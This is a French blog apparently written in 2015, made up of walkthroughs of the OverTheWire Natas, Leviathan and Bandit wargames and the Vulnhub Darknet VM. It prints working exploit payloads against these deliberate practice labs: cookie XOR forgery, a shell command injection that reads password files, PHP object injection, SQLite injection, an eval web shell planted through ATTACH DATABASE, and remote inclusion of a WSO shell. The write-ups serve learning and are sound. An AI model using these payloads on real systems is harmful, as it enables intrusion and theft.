dimanche 28 juin 2015

Challenge, petit florilège de vulnérabilités Web et Natas

Après les challenges Bandit (http://jessgallante.blogspot.fr/2015/06/le-gout-du-challenge-ou-ma-rencontre.html) et Leviathan (http://jessgallante.blogspot.fr/2015/06/challenge-ivresse-des-profondeurs-et.html) proposés par OverTheWire, je décide de me lancer dans la résolution du challenge Natas dont la thématique est ainsi résumée : "Natas teaches the basics of serverside web-security."

Ce challenge est constitué par 28 niveaux accessibles par le biais d'un (utilisateur, mot de passe) sur une url "http://natasX.natas.labs.overthewire.org" .. chacun des niveaux ayant pour objectif de démontrer l'exploitation d'une ou plusieurs vulnérabilités permettant d'obtenir le mot de passe du niveau suivant.

Je ne suis pas certaine de parvenir à résoudre toutes les énigmes. je décide donc de prendre mon temps et de rédiger ce carnet de voyage au fil de mes pérégrinations.


Mon premier jour avec Natas (20 juin 2015)

 

Les premiers niveaux de ce challenge sont simples si vous avez déjà rencontré les vulnérabilités qu'il convient d'exploiter (une grande majorité d'entre elles est par ailleurs représentative des typologies de vulnérabilités qu'il est possible de rencontrer lorsque les développements web ne font pas l'objet de revues de code orientées sécurité ou de conformité aux bonnes pratiques).

Les sept premiers niveaux nécessitent ainsi de comprendre l'indice fourni par OverTheWire et les niveaux suivants nécessitent de connaître les rudiments du langage PHP pour comprendre le code source de l'application distante et les vulnérabilités à exploiter.

Le niveau 8 nécessite un peu de script et m'a permis de découvrir une sandbox PHP tout à fait utile pour certaines épreuves de ce challenge : http://sandbox.onlinephpfunctions.com/.

Les niveaux 9 et 10 concernent l'exploitation de vulnérabilités de type RCE (enfin je crois), je me suis contentée d'aller lire le fichier de mot de passe du niveau suivant sans regarder plus avant ce qu'il était possible de faire.

Le niveau 11 m'a posé quelques difficultés. Il consiste à modifier un flag dans un cookie "protégé" par un XOR avec une "clé" que je ne connais pas (d'après ma lecture du code source) et n'ayant pas du tout envie d'apprendre à programmer en PHP, j'ai du résoudre ce challenge autrement.

Ma résolution du niveau 11 (spoiler)


Je commence donc par générer plusieurs valeurs pour ce cookie en soumettant le formulaire à ma disposition :
000000 : data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRwh6QUcIaAw=
111111 : data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRgl7QEYJaAw=
222222 : data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRQp4Q0UKaAw=
Je transforme ce qui m'est retourné en chaine hexadécimale :
$ echo -n "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRwh6QUcIaAw=" | base64 -D | xxd -ps -c 60
La variation du cookie semble se produire sur la fin du cookie :
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 47087a414708 680c
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 46097b404609 680c
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 450a7843450a 680c
.. et je sais qu'un XOR (ce site est génial : http://xor.pw/) de valeurs différentes avec la même clé peut permettre de retrouver la clé :
000000 ^ 47087a414708 => 77384a717738 (w8Jqw8)
111111 ^ 46097b404609 => 77384a717738 (w8Jqw8)
222222 ^ 450a7843450a => 77384a717738 (w8Jqw8)
La clé utilisée pour xor-er ma valeur source semble donc "77384a717738" soit "w8Jqw8". Je la réutilise donc pour déchiffrer mon premier cookie :
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 47087a414708 680c
71773877384a71773877384a71773877384a71773877384a71773877384a717738 77384a717738 7738
{ " s U & J 9 \ : s w o r d " k S &  e " b g c o l R ; s j       0 0 0 0 0 0 4
Cela ne semble pas fonctionner complètement. Comme si ma clé était incorrecte. Après plusieurs tentatives de décalages de celle-ci et la comparaison du résultat avec le code source (je m'attend en effet à obtenir l'accès aux variables "showpassword" fixée à "no" et "bgcolor" fixée à "000000") je comprend que ma clé une répétition du pattern "w8Jq" :
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 47087a414708 680c
7177384a7177384a7177384a7177384a7177384a7177384a7177384a7177384a71 77384a717738 4a71
{"showpassword":"no","bgcolor":"#000000"}
Il ne me reste plus qu'à générer la valeur du cookie avec la variable "showpassword" positionnée à "yes", à la transformer en base64 et à renvoyer ma requête avec le nouveau cookie :
$ echo -n "0a554b221e00482b02044f2503131a70530e5d39535b1a28161457261e051a705354087a4147087a530a" | xxd -ps -c 60 -r | base64

Mon second jour avec Natas (21 juin 2015)


Les niveaux 12 et 13 présentent des vulnérabilités relatives à l'upload de fichiers pour lesquelles les contrôles seraient insuffisants et entraineraient, de ce fait, une possibilité de RCE.

Le niveau 14 présente une vulnérabilité de type Injection SQL exploitable manuellement (coucou <3 #Darknet <3) alors que le niveau 15 m'a obligé a utiliser mon sqlmap après plusieurs tentatives manuelles sans succès.

Le niveau 16 m'a, quant à lui, fait assez tourné la tête pour que je ferme l'écran et me laisse bercer par un concert offert par les amis de nos voisins en cette belle fin de soirée du 21 juin.

J3 Natas16 et moi (24 juin 2015)

 

Après plusieurs jours à café-scuter de ce niveau et étant résolument contre toute tentative d'attaque par force brute, je finis par trouver une méthode peu conventionnelle mais néanmoins élégante de parvenir à mes fins pour le niveau 16 et reprend mon voyage dans le monde de Natas.

Le niveau 17 concerne à nouveau l'exploitation d'une vulnérabilité de type Injection SQL ("AND/OR time-based blind") qui m'a semblé durer des heures à cause d'une mauvaise connexion Internet.

Les niveaux 18 et 19 concernent l'exploitation de vulnérabilités liées à ce qui pourrait être une malencontreuse tentative pour ré-inventer le mécanisme des sessions PHP.

Le niveau 20 est particulièrement intéressant par la démonstration d'exploitation de multiples "faibles" vulnérabilités (injection de données non contrôlées en session, affichage de messages DEBUG).

Ma résolution du niveau 16 (mon niveau NATAS préféré) (spoiler)


Le niveau 16 est similaire aux niveaux 9 et 10 mais le filtrage par liste noire est bien moins permissif:
if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
La résolution de cette énigme est possible sans attaque par force brute par la méthode peu conventionnelle suivante :
  • Lecture caractère par caractère du fichier de mot de passe du niveau suivant et positionnement de ce caractère en première position de la recherche "grep" dans le dictionnaire : 
^$(cut -c 2 /etc/natas_webpass/natas17) > le 2nd caractère est un P ou un p
^$(cut -c 3 /etc/natas_webpass/natas17) > le 3ème caractère est un S ou un s
  • Vérification manuelle pour chaque caractère du mot de passe s'il est en majuscule ou en minuscule :
$(grep -E ^.P /etc/natas_webpass/natas17) > pas de résultat donc le 2ème caractère est un P
$(grep -E ^..S /etc/natas_webpass/natas17) > résultats donc le 3ème caractère est un s
Arrivée à cette étape, je me suis rendue compte que le dictionnaire ne contenait pas de chiffres et que cette méthode ne me permettait donc pas d'identifier la valeur des caractères numériques. Je me suis donc tournée vers une astuce liée aux expressions arithmétiques :
a\{2\} > (mots du dictionnaires composés de la double lettre "aa") est équivalente à
a\{$((11-9))\} qui est elle-même équivalente à
a\{$((11-$(cut -c 1 /etc/natas_webpass/natas17)))\} si le 1er caractère est "9" ou à
a\{$((10-$(cut -c 1 /etc/natas_webpass/natas17)))\} si le 1er caractère est 8 :-)

J4 Ma semaine avec Natas (26 juin 2015)

 

Fin de la semaine et me voici à nouveau prête, entre auditions et repas de famille, à résoudre de nouvelles énigmes (ou pas).

Le niveau 21 démontre la dangerosité de partage de sessions entre vhosts du même domaine.

Le niveau 22 démontre la dangerosité d'une directive header("Location: dont le mode de fonctionnement serait imparfaitement compris par les développeurs concernés.

Les niveaux 23 et 24 démontrent la dangerosité de certaines fonctions de comparaison de chaînes de caractères dont le mode de fonctionnement serait imparfaitement compris par les développeurs concernés.

Le niveau 25 présente à nouveau avec clarté ce "vulnerability chaining" qui permet d'associer plusieurs vulnérabilités de faible sévérité pour compromettre une application (filtrage incorrect, path traversal, log et user-agent injection).

J5 Un samedi à faire des dessins avec Natas (27 juin 2015)


Le niveau 26 est un cas typique d'exploitation d'une vulnérabilité de type "unserialize()" sur une valeur Cookie contrôlée par l'utilisateur pour réaliser une injection d'objet PHP via la méthode "__destruct()" d'une classe inutilisée (https://www.owasp.org/index.php/PHP_Object_Injection).

Ma résolution du niveau 26 (spoiler)


Tout simplement par la construction d'un objet PHP qui, interprété par la méthode "__destruct()" sus-mentionnée aura pour objectif de créer un fichier PHP dans un répertoire accessible en écriture pour me permettre par la suite d'accéder au fichier contenant le sésame tant désiré (ça c'est un plan diaboliquement crystal clear pour toi ma @nathplanteur :-)  )
$ cat jess.php
<?php
class Logger{
        private $logFile = "img/jess.php";
        private $exitMsg = "<?php echo 'ok'; include('/etc/natas_webpass/natas27'); ?>";
    }
$obj = new Logger();
echo serialize($obj);
?>

$ php jess.php > jess.cookie
$ cat jess.cookie
O:6:"Logger":2:{s:15:"LoggerlogFile";s:12:"img/jess.php";s:15:"LoggerexitMsg";s:58:"<?php echo 'ok'; include('/etc/natas_webpass/natas27'); ?>";}

$ curl 'http://natas26.natas.labs.overthewire.org/?x1=1&y1=2&x2=3&y2=4' -H 'Authorization: Basic [..]' -H 'Cookie: drawing='$(cat jess.cookie | base64 | tr -d '\n') -H 'Host: natas26.natas.labs.overthewire.org'
 

J6 Natas-(es)-cape (28 juin 2015)


Le niveau 27 est pour moi, après le niveau 16, le niveau le plus compliqué du challenge Natas et je n'ai pas été capable de le résoudre sans me copier localement le code PHP pour pouvoir ajouter des messages de debug.

Ma résolution du niveau 27 (spoiler)


Les conclusions que j'ai progressivement notées pour m'aider à résoudre ce niveau ont été les suivantes :
  • je peux ajouter un utilisateur s'il n'existe pas
  • je peux ajouter un utilisateur avec un mot de passe vide en passant un paramètre "$_REQUEST["password"]" de type "array()"
  • je peux ajouter un utilisateur avec un login vide et un mot de passe en passant un paramètre "$_REQUEST["username"]" de type "array()"
  • je peux ajouter un utilisateur avec un login vide et un mot de passe vide
  • si j'utilise un paramètre de type "array()", je peux contourner la fonction  "mysql_real_escape_string()"
Ceci ne m'a absolument pas aidée :-)  et je me suis donc résolue à copier le code PHP localement pour faire des tests complémentaires :
  • si deux comptes sont nommés de la même façon et que l'un des deux comptes a un mot de passe vide alors l'appel à l'application affiche le mot de passe de l'autre compte.
  • je ne peux pas contourner les filtrages en place pour créer un second compte "natas28" mais je sais que les comptes que j'ajoute sont supprimés toutes les 5 minutes par le commentaire ("morla / 10111 // database gets cleared every 5 min")
Je commence donc par requêter l'application toutes les secondes pendant 5 minutes pour identifier quand les comptes sont supprimés (*/5 tout simplement :-/) et teste à plusieurs reprises pendant les créneaux suivants un grand nombre de requêtes pour l'ajout d'un compte natas28 avec un mot de passe que je connais.
 
Et je finis par obtenir le sésame tant attendu sur la base de requêtes  transmises entre */5:00 et */5:01 en HTTP/1.1 avec pipelining grâce à un simple ctrl-v laissé appuyé dans un netcat (je pense que cela doit faire très Hollywood comme explication alors que ma façon de faire est totalement ridicule :-/) :
GET /?username=natas28&password=jess HTTP/1.1
Host: natas27.natas.labs.overthewire.org
Authorization: Basic [..]
GET /?username=natas28&password=jess HTTP/1.1
Host: natas27.natas.labs.overthewire.org
Authorization: Basic [..]

HTTP/1.1 200 OK
[..]
<h1>natas27</h1>
<div id="content">
User natas28 was created!<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
[..]

HTTP/1.1 200 OK
<h1>natas27</h1>
<div id="content">
Welcome natas28!<br>Here is your data:<br>Array
[..]


Conclusion


Le challenge Natas a pour moi été très intéressant en raison du florilège de vulnérabilités Web qu'il comporte : la résolution de ce challenge pourrait ainsi très certainement servir de base de travaux pratiques pour des séances de sensibilisation destinées aux développeurs Web.

L'évolution du niveau de complexité n'est néanmoins pas flagrante, certains niveaux intermédiaires doivent en effet être assez complexes à résoudre si le joueur n'a pas au préalable rencontré la famille de vulnérabilités concernée.

En conclusion Natas c'est 10 heures de jeu sur 6 jours, une folle envie de passer à un autre type de challenge et une profonde admiration pour tous les consultants et pentesters qui tentent de réaliser leur travail sans savoir si l'application, le système, l'architecture ou que-sais-je-encore qu'ils ciblent est vulnérable ou non ..

Jess - @JessicaGallante

mardi 16 juin 2015

Challenge, ivresse des profondeurs et Leviathan

Après le challenge Bandit (http://jessgallante.blogspot.fr/2015/06/le-gout-du-challenge-ou-ma-rencontre.html) pour les débutantes et débutants proposé par OverTheWire sont proposés trois autres challenges : Leviathan (orienté système), Natas (orienté web) et Krypton (orienté cryptographie).

Ayant une légère préférence pour l'un de ces trois wargames pour la simple et magnifique raison suivante :
..
J’ai vu fermenter les marais énormes, nasses
Où pourrit dans les joncs tout un Léviathan,
Des écroulements d’eaux au milieu des bonaces,
Et les lointains vers les gouffres cataractant !
..
Le Bateau ivre, Arthur Rimbaud, 1871
.. je m'attaque à ce challenge Leviathan qui présente un niveau de difficulté de 1 sur 10 pour 8 niveaux et je constate immédiatement (contrairement au challenge Bandit) qu'aucune information n'est fournie par OverTheWire pour passer d'un niveau à un autre hors le message "Data for the levels can be found in the homedirectories."

Très bien, je commence donc en me connectant en SSH avec le login et le mot de passe fourni par OverTheWire et constate après avoir passé le niveau 0 sans difficulté que je dois comprendre ce que fait un fichier binaire afin de saisir un mot de passe permettant d'obtenir le mot de passe du niveau 2.


Je suis saisie d'une légère appréhension car je ne connais que quelques commandes Unix/Linux à ce sujet et suis parfaitement incapable de décompiler un programme. Je me lance tout de même dans ce challenge et vogue le bateau..

Ma traversée des marais (sans spoiler, juste des conseils)


Si vous avez comme moi d'abord réalisé le challenge Bandit, le niveau 0 et le passage au niveau 1 ne devrait pas vous poser de problème.

Avec le niveau 1 commence l'intérêt propre de ce challenge. Les commandes dont vous devriez lire les manuels pour tous les niveaux du challenge Leviathan sont les commandes système "strace" et "ltrace".

Le niveau 2 est similaire au niveau 1 mais nécessite que vous prêtiez attention à la façon dont le nom de fichier que nous passons en paramètre est employé. Une fois la "vulnérabilité" identifiée, son exploitation est tout à fait similaire à ce que nous pouvons rencontrer dans le monde du web en lfi/rfi.

Le niveau 3 semble pour moi strictement identique au niveau 1 .. J'ai donc du passer à côté d'une subtilité ..

Le niveau 4 m'a posé quelques problèmes. La sortie générée par le binaire cible ressemble à un mot de passe mais transformer cette représentation pour obtenir le mot de passe au bon format (et sans papier/crayon bien entendu) m'a posé quelques problèmes jusqu'à ce que je trouve un article avec des exemples d'utilisation de la commande "bc".

Le niveau 5 m'a également fait louvoyer un certain temp avant de trouver une solution et mon seul conseil est que vous devriez tester la condition avec un fichier de test vide et avec un fichier de test non vide!

Le niveau 6 m'a semblé totalement trivial vu que le niveau 24 du challenge bandit lui ressemble comme deux gouttes d'eau :-)

Contrairement au challenge Bandit, le septième et dernier niveau du challenge Leviathan est actif en SSH et vous remercie d'avoir mené le bateau à bon port (un peu plus d'une heure comme pour le challenge bandit).


Conclusion

 

Tous les niveaux de ce challenge ont pour moi présenté un véritable intérêt dont, non des moindres, celui de me démontrer par la pratique que de nombreuses commandes système (exemple: strings, strace et ltrace) présentent un véritable intérêt et ce même pour les débutantes et débutants en programmation qui ne sont pas formées/formés en "rétro-conception".

Jess - @JessicaGallante

dimanche 14 juin 2015

Le goût du challenge (ou ma rencontre avec un Bandit)

Après avoir beaucoup aimé le challenge #Darknet proposé par @Vulnhub (http://jessgallante.blogspot.fr/2015/06/mon-tout-premier-challenge-ever.html) et de nombreuses discussions à ce sujet, je me suis laissée convaincre de réitérer l'aventure sur un nouveau type de challenges (merci John et merci @Philoupas pour l'idée des wargames OverTheWire :-p).

OverTheWire

 

Le premier des wargames proposés par OverTheWire à l'attention des débutantes et débutants est le wargame Bandit : "The Bandit wargame is aimed at absolute beginners. It will teach the basics needed to be able to play other wargames".

Parfait ! Ce wargame est composé de 27 niveaux, peut se dérouler à priori sans limite de temps (?) et chaque niveau donne les informations nécessaires pour le passage au niveau supérieur.

Mon après-midi avec un Bandit

 

Installée sur le front de mer avec ma carafe de thé glacé et ma playlist de Alicia Keys, je suis prête..

Le niveau 0 m'indique que je dois me connecter en SSH sur "bandit.labs.overthewire.org" avec un login et un mot de passe tous deux fournis par OverTheWire. Et une explication sur le site m'est fournie pour passer du niveau 0 au niveau 1..


Silence.. on tourne..

Après un petit moment à enchainer les niveaux (https://twitter.com/JessicaGallante/status/610049421519290368), je me rend tout à fait compte de l'aspect didactique autant que ludique du challenge proposé. Les commandes suggérées pour passer d'un niveau à un autre me permettent d'apprendre des subtilités sympathiques et des pièges dans lesquels éviter de tomber et je ne reste pas longtemps coincée sur chaque niveau.

Il m'aura finalement fallu une petite heure pour finir ce challenge et voir ce bandit s'éloigner sans regret :-)


Mes niveaux préférés (sans spoiler)

 

Mes niveaux préférés ont été les deux derniers niveau 24 et 25 pour deux raisons totalement distinctes.

Le niveau 24 n'est pas spécialement compliqué mais nécessite d'attendre que l'exploration par force brute fournisse le résultat attendu et hors l'idée de paralléliser les recherches (à priori en même temps qu'un autre joueur au vu des connexions :-p) il faut bien attendre que le service distant nous donne le fameux sésame..

Ceci est un vrai aperçu du temps qu'il faut parfois à une hypothèse pour se concrétiser (ou non).
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Le niveau 25 m'a semblé facile mais je connaissais ce type de vulnérabilité pour l'avoir vu exploitée lors d'un test d'intrusion (sur la commande "less") et je ne pense pas que j'aurais été capable de trouver la solution sans cette expérience passée.

Conclusion


Ce challenge Bandit est extrêmement ludique et didactique. Le niveau de complexité m'a semblé progressif et les indices fournis par OverTheWire tout comme les pages de manuel des commandes permettent de se documenter pour chacun des niveaux : je le recommande donc à toutes les débutantes et débutants si vous voulez passer un petit moment à vous creuser la tête :-)

Note : Si vous décidez de faire ce challenge, pensez à bien noter le mot de passe du dernier niveau que vous avez réussi à passer si vous décidez de vous interrompre pour éviter d'avoir à tout recommencer :)

Jess - @JessicaGallante

vendredi 12 juin 2015

Mon tout premier challenge ever

Avertissement : j'explique dans cet article les méthodes que j'ai utilisées pour réaliser ce challenge - ne lisez donc pas ce qui suit si vous souhaitez le faire sans indice :-)

Un joli dimanche de juin avec un soleil radieux et je suis bloquée chez moi car d'astreinte pour un test PCA. Tout se passant plutôt bien excepté les quelques appels habituels d'utilisateurs paniqués ne trouvant pas le bon dossier ou la bonne procédure et ma <3 @nathplanteur <3 étant (une fois n'est pas coutume) de repos, je suis attirée par un tweet dans ma timeline concernant un challenge nommé #Darknet par @vulnhub.

Je n'ai jamais fait de challenge et j'ai toujours eu peur de m'y confronter mais cette fois-ci je me dis "pourquoi pas moi ?" et puis dans tous les cas j'ai cette envie d'écrire qui me reprend et cela me fera donc une bonne idée d'article.

Me voilà donc à télécharger cette VM #Darknet sur https://www.vulnhub.com/, tout en commençant à rédiger cet article "Mon tout premier challenge ever" et en me demandant jusqu'où cette histoire va aller..

Un dimanche ensoleillé



L'introduction à ce challenge que vous pouvez consulter sur le site de @vulnhub précise :

"Darknet has a bit of everything, a sauce with a touch of makeup and frustration that I hope will lead hours of fun for migraines and who dares to conquer his chambers. As the target gets used will read the file contents /root/flag.txt obviously once climbed the privileges necessary to accomplish the task. The image can be mounted with VirtualBox . The machine has DHCP active list so once automatically assign an IP network, the next step will be to identify the target and discover the / the service / s to start the game. Good luck !. If you want to send in pdf format solucionarios can do so at the following address: s3csignal [at] gmail [dot] com".

De ce que je comprend, je dois aller lire un fichier "/root/flag.txt" sur la VM en attaquant un ou plusieurs services.. Je ne sais pas pour vous mais pour cela m'a l'air d'un vaste programme..

Je me lance


Première étape, je scanne l'adresse IP avec mon scanner préféré et identifie deux ports TCP en écoute : un port 80 avec un serveur Apache/2.2.22 (<3 Debian <3) et un port 111 que je peux requêter pour constater que seul le service RPC 100024 "status" est actif (port 34520 en TCP).

Bienvenue dans le monde du Web. J'imagine que je vais trouver un problème au niveau du serveur Web et/ou de l'application qu'il héberge ? Je scanne donc ce serveur Web avec mes autres scanners préférés et découvre plusieurs urls qui me permettent de constater que la fonction "autoindexing" Apache est parfois active et que j'ai plusieurs pistes à arpenter :
/access/888.darknet.com.backup
/Classes/Show.php
/Classes/Test.php
Impasse sur les fichiers "Show.php" et "Test.php", tous deux génèrent une erreur 500 : soit je ne sais pas les interroger soit ce sont des leurres ? Le fichier "888.darknet.com.backup" est lui beaucoup plus prometteur :
<VirtualHost *:80>
    ServerName 888.darknet.com
    ServerAdmin devnull@darknet.com
    DocumentRoot /home/devnull/public_html
    ErrorLog /home/devnull/logs
</VirtualHost>
Il semble en effet me fournir une nouvelle piste sous la forme d'un VirtualHost Apache à interroger "888.darknet.com", d'un utilisateur "devnull" et d'un DocumentRoot "/home/devnull/public_html".

888.darknet.com


Je crois que je suis sur le bon chemin en voyant une nouvelle application apparaître avec un formulaire de connexion me demandant de saisir un nom d'utilisateur et un mot de passe.

Cette application repose sur PHP avec une version "5.4.39-0+deb7u1" (un tour sur le security-tracker de Debian m'apprend que la dernière version "5.4.39" est la "deb7u2" mais je ne vois pas spécialement de vulnérabilité à exploiter à ce niveau là), semble avoir été développée en espagnol et anglais (champs "Usuario" pour utilisateur et "Clave" pour mot de passe) et semble aussi gérer des sessions via un cookie "PHPSESSID".

Je commence par tenter quelques logins et mots de passe par défaut ou triviaux sur la base de l'utilisateur "devnull" sans succès.

Je lance mes scanners web préférés et trouve trois répertoires inutiles qui me rejettent avec une erreur 403 ("/img/" , "/includes/" , "/icons/").

Je lance mes scanners sql préférés sur le champ "username" et sur le champ "password" sans succès mais j'obtiens un indice par le biais d'un message d'erreur spécifique en fonction de certaines injections. Le message d'erreur n'est plus "Fail" comme précédemment mais "unrecognized token:" suivi d'une chaîne de caractère en MD5 qui correspond exactement à la valeur du paramètre "password" que je transmet.

Que faire maintenant ?

C'est l'histoire d'une injection SQL pour SQLite


Je recommence manuellement :

  - username=a&password=a         -> Fail
  - username='&password=a         -> unrecognized token: "0cc175b9c0f1b6a831c399e269772661"
  - username=''&password=a        -> Fail
  - username=' &password=a        -> near "' and pass='": syntax error
  - username=' '&password=a       -> near "''": syntax error
  - username=' aaa &password=a    -> near "aaa": syntax error
  - username=' and &password=a    -> Ilegal
  - username=' or &password=a     -> unrecognized token: "0cc175b9c0f1b6a831c399e269772661"
  - username=' or '&password=a    -> Fail
  - username=' or 'a'='a          -> Ilegal
  - useranme=' or 'a              -> Fail
  - username=' union &password=a  -> near "' and pass='": syntax error
  - username=' select &password=a -> Ilegal
  - username=' ; &password=a      -> Ilegal

Les quelques tests supplémentaires me permettent donc de constater :

  • Les deux champs "username" et "password" doivent tous deux être fournis ;
  • Le champ "username" peut être employé pour générer des messages d'erreur SQL semblant présager qu'une injection SQL est possible ;
  • Une liste noire et/ou une liste blanche est active et interdit certains caractères et certains mots clé.

Forte de ces informations, je tente à nouveau d'utiliser mon scanner sql préféré à plusieurs reprises mais sans succès. Je me résout donc à aller consulter mon moteur de recherche préféré (ou pas) et constate que le message d'erreur "unrecognized token" a une forte probabilité d'être généré par un moteur SQLite.

Après une bonne demi-heure à chercher comment réaliser des injections SQL sur SQLite, je me retrouve avec plusieurs articles dont j'essaie tant bien que mal de saisir la substantifique moelle (un grand merci aux deux auteurs) :


Je recommence donc manuellement avec l'objectif premier d'éviter d'utiliser ce qui m'est interdit en me basant sur le message d'erreur "Ilegal" (select, and, - ; < > , =) :

  - username=' or &password=a            -> unrecognized token: "0cc175b9c0f1b6a831c399e269772661"
  - username=' # &password=a             -> unrecognized token: "#" 
  - username=' or a or 'a &password=a    -> no such column: a
  - username=' or pass or 'a &password=a -> Fail

Partons du principe que la requête SQL est de type SELECT .. WHERE username='' and pass='' et que je peux injecter certains caractères dans "username". Ne connaissant pas le nom de l'utilisateur et la condition "or" étant autorisée je pars sur l'idée d'injecter une condition "or" sur la colonne "pass" avec un mot de passe quelconque ?

N'ayant aucune idée de comment procéder, je me plonge dans ce que je trouve de documentation SQLite et d'injections SQL et je constate que je peux utiliser le mot clé "like" associé aux caractères wildcard "%" ou "_" (http://www.tutorialspoint.com/sqlite/sqlite_like_clause.htm) pour construire une injection et après plusieurs tentatives (de a à z puis de 0 à 3 pour ceux qui suivent en détail :-p), j'obtiens le résultat tant désiré :

  - username=' or pass like '%' or 'a  -> Fail
  - username=' or pass like '3%' or 'a -> 302 Moved Temporarily

Enfin! J'ai donc une redirection vers un fichier "main.php" avec un cookie (date d'expiration "19 Nov 1981", joyeux anniversaire à toi avec un peu d'avance!). J'ouvre donc mon navigateur et tente le fameux sesame sans succès :-(

Essayant tant bien que mal d'utiliser cette injection en ligne de commande ou avec mon navigateur et au détour d'un échange Twitter avec @qusaialhaddad et @_RastaMouse (merci à vous deux !), j'apprend qu'il y a un "bug" pour ce niveau et que mes nombreux scans ont du saturer l'espace de stockage de la VM réservé aux sessions PHP ..

Quoi faire maintenant ? réinstaller la VM ? tenter de contourner le problème ? Dormir ? dormir !

ma soirée du lundi

 

Le casque vissé sur les oreilles et "Crazy in love" de Queen B en boucle, je tente de contourner le problème qui m'est posé. Je sais donc que je peux énumérer les colonnes d'une table d'une part et énumérer ensuite les valeurs des colonnes d'autre part grâce au code 302, je continue donc mes requêtes manuelles (note pour plus tard : apprendre sérieusement un langage de script) :

  • la table est composée d'une colonne "id", d'une colonne "pass" et d'une colonne "usuario" (déception, l'indice est littéralement hurlé par la page d'accueil et j'ai passé plusieurs dizaines de minutes à chercher pourquoi la colonne "username" n'existait pas) ;
  • username=' or id like '1' or 'a : La table semble contenir deux utilisateurs (id=1 et id=2) ;
  • username=' or usuario like 'devnull' or 'a : les deux utilisateurs sont (devnull et errorlevel) (quelle déception à nouveau le nom de l'utilisateur était donné dans la configuration du VirtualHost et je suis complètement passée à côté :-( ) ;
  • username=' or pass like '36%' or 'a : les deux mots de passe MD5 ne sont pas cassés sur mon moteur de recherche préféré.

J'ai maintenant deux utilisateurs (mais aucun nouveau VirtualHost "errorlevel.darknet.com" semble-t-il) et deux mots de passe à casser dont j'imagine qu'ils sont complexes.. Dois je vraiment m'obstiner sur cette piste ? Non je ne pense pas. Je réinstalle la VM comme me l'a conseillé @_RastaMouse et tente mon login sesame : " ' or pass like '3%' or 'a " avec le mot de passe "a" et me voilà connectée à l'application ! Champagne !

Une fenêtre "Administrador SQL" s'affiche avec un formulaire me proposant d’exécuter du code SQL mais aucun retour ne semble renvoyé par l'application. Qu'à cela ne tienne, j'ai bien envie de tenter ma chance avec le "Getting Shell Trick 1 - ATTACH DATABASE" documenté sur http://atta.cked.me/home/sqlite3injectioncheatsheet et que j'ai bien du lire une bonne centaine de fois dans les dernières 48 heures.

Bon il va me falloir faire plusieurs tests au préalable. Déjà installer une VM de test puis une base SQLite et trouver un code PHP de type backdoor. 

Je sais déjà que je pourrais tenter de déposer mon code PHP dans "/home/devnull/public_html/" (en esperant que "888.darknet.com.backup" ne soit pas un leurre) ou dans l'un de ses sous-répertoires "/img/" , "/includes/" , "/icons/".

Mais d'abord dormir quelques heures me semble une très bonne idée.

Le mardi c'est Patch Tuesday


Et la vie est une question de priorité comme le dit si bien la publicité.

Le mercredi on sésame ouvre toi


Ce soir je sais vraiment quoi faire et me reconnecte donc avec mon sésame puis je saisis ma commande SQL :
attach database '/home/devnull/public_html/backdoor.php' as backdoor;
J'essaie ensuite d'accéder à ma backdoor via "http://888.darknet.com/backdoor.php" et reçoit la fatidique erreur 404.. Ca commence mal.. je recommence :
attach database '/home/devnull/public_html/img/backdoor.php' as backdoor;
A nouveau j'essaie avec "http://888.darknet.com/img/backdoor.php" et là .. code 200 :-) Je joue donc ma requête complète :
attach database '/home/devnull/public_html/img/backdoor.php' as backdoor; create table backdoor.tbl (cmd TEXT); insert into backdoor.tbl (cmd) values ("<?php $_REQUEST[e] ? eval( $_REQUEST[e] ) : exit; ?>");
et je croise les doigts très fort à nouveau avant de saisir une commande de base pour ma backdoor : "http://888.darknet.com/img/backdoor.php?e=phpinfo();" et .. et ca marche !! Je suis .. totalement epoustouflée .. j'ai envie de danser ..


Il me faut maintenant envoyer un shell un peu plus complet sur le système. Or l'analyse des résultats fournis précédemnt par "phpinfo()" me permet de constater que les directives "allow_url_fopen" et "allow_url_include" sont à "on" et que je dois donc pouvoir réaliser une Remote File Injection ? 

Allons y donc gaiement pour une RFI. Je cherche la première backdoor qui me vient sur Github et trouve un code WSO qui rappellera des souvenirs à certains :-) et je tente ma RFI "http://888.darknet.com/img/backdoor.php?e=include("URL_ DU_ SHELL_ WSO_ QUE_ JE_ VOUS_  LAISSE_ CHERCHER");" ..  ce qui me permet de constater que mon hypothèse de RFI était correcte et que je peux donc désormais uploader ma backdoor WSO localement afin d'obtenir mon accès "http://888.darknet.com/img/wso.php" :)

 

_mon_ premier shell WSO

 

C'est le mien.. C'est _mon_ premier shell WSO et je suis l'attaquante (sentiment tout à fait étrange et dérangeant que je ne saurais expliquer) et maintenant que j'ai un shell j'ai le sentiment que tout est à refaire. Allons y. Je constate tout d'abord qu'un grand nombre de fonctions PHP "sensibles" sont désactivées et que la directive "open_basedir" restreint mon shell aux répertoires : "/etc/apache2", "/home/devnull" et "/tmp".

Je passe à la configuration Apache présente dans "/etc/apache2" et je vois que :
  • la configuration par défaut (adresse IP) pointe vers "/var/www/" pour lequel je n'ai pas les droits d'accès avec ma backdoor WSO ;
  • la configuration "888.darknet.com" est bien celle qui nous avait permis de passer l'une des étapes initiales via le fichier "888.darknet.com.backup" ;
  • une nouvelle configuration "signal8.darknet.com" nous est révélée pour un répertoire sur lequel je n'ai pas accès avec la backdoor WSO :
<VirtualHost *:80>    ServerName signal8.darknet.com
    ServerAdmin errorlevel@darknet.com
    DocumentRoot /home/errorlevel/public_html
    <Directory /home/errorlevel/public_html>
        AllowOverride All
    </Directory>
</VirtualHost>
